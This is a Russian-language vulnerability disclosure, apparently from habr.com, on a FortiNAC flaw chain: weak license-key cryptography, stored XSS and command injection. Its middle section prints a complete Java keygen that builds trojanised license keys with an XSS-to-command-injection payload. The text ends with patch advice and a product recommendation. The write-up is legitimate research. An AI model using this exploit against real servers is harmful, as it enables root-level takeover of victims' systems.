Эта история началась в апреле 2023 года, когда мы исследовали приложение FortiNAC и нашли цепочку дефектов и уязвимостей: облегчающую реверсинг дебаговую информаацию в скомпилированных классах Java, слабую криптографию, хранимую XSS и инъекцию команд, позволяющие создать генератор лицензионных ключей, которые после активации выполняют произвольный код от имени суперпользователя на сервере приложения.
Исследование и эксплуатация
Началось всё с декомпиляции Java-классов приложения, что позволило получить фактически исходный код (разве что без комментариев), в том числе имена локальных переменных, благодаря любезно оставленной при компиляции отладочной информации. Код, написанный на Java Server Pages, декомпиляции, разумеется, не требовал.
Мы проанализировали механизм проверки лицензионных ключей и нашли легаси‑функцию. Она проверяет ключи в старом формате, основанном на уязвимой к реверсингу симметричной криптографии.
Таким образом удалось найти возможность инъекции команд через текст ключа.
Серийный номер задается произвольной строкой внутри ключа, а это открывает возможность для эксплуатации хранимой XSS на сайте приложения. Генератор лицензионных ключей с полезной нагрузкойimport com.bsc.license.LicenseDecoder; import com.bsc.license.FortiNACLicense; import com.bsc.license.FortiNACType; import com.bsc.util.EncodeDecode; import java.nio.file.Files; import java.nio.file.Paths; import java.io.IOException; import java.io.FileWriter; public class inject { static String pack(String s) { int l = s.length(); return String.valueOf(String.valueOf(l).length()) + String.valueOf(l) + s; } static String key(FortiNACLicense l, String html) { return EncodeDecode.encodeString( pack(String.valueOf(l.getDaysValid()*24L*3600L*1000L)) + pack(String.valueOf(l.getConcurrentClientCount())) + pack("java.util.ArrayList") + pack("") + // Plugins pack(l.getEth0MAC().toString()) + pack(l.getType().getFullName()) + pack("") + // Vendor pack("1.8") + // Version pack("java.util.ArrayList") + pack("") + // Options pack(l.getSystemUUID().toString()) + pack(String.valueOf(l.getUSG())) + // Not really USG, but anyways pack(l.getSKU()) + pack(l.getModelName()) + pack("false") + // Expired pack("1") + // rtrCount pack(l.getName().toString()) + pack(l.getSerial().toString() + html) + pack(String.valueOf(l.getGeneratedDate().toEpochMilli())) ); } public static void main(String[] args) throws IOException { String payload = new String(Files.readAllBytes(Paths.get(".", "payload.sh"))); System.setProperty("javax.net.ssl.keyStorePassword", "^8Bradford%23"); LicenseDecoder ld = new LicenseDecoder(); FortiNACLicense l = ld.decode((new String(Files.readAllBytes(Paths.get(".", "input.lic")))).replaceAll("(\r|\n)", "")); System.out.println(l); FileWriter output = new FileWriter("output.lic"); output.write( key( l, "<img src='nowhere' onerror="var IP=$('licenseServerCombo').value.split(/ -- /)[0];" + "CommonUtils.dataRequest('LicenseActions.jsp',{}, {action:'ajaxApplyLicense',deviceProxy:IP,deviceIP:IP,thisIP:'0'+IP,newLicense:'" + key(l, "") + ";" + payload + "'});"/>" ) ); output.close(); } }Вывод
После ухода Fortinet из России, внешний злоумышленник мог воспользоваться тем, что российские компании нуждаются в продлении лицензии на FortiNAC. Разместив в интернете кейгены, которые создавали бы «троянизированные» лицензионные ключи, он захватил бы серверы жертв.
Ну, а мы как эксперты рекомендуем следующее:
Fortninet подтвердила уязвимости 6 версий: FortiNAC-F (версия 7.2.0), FortiNAC (версии 9.4.0 – 9.4.2.), все версии ПО FortiNAC 9.2, 9.1, 8.8, 8.7. Поэтому проверьте, какие версии FortiNAC использует ваша компания
Если есть возможность, получите патчи от вендора и проверьте обновление ПО на тестовом стенде
Из-за политических рисков обновление доступно далеко не всем российским клиентам. Поэтому, как вариант, лучше установить отечественное ПО EFROS ACS, которое обладает полным функционалом для разграничения сетевого доступа.
Источник новости: habr.com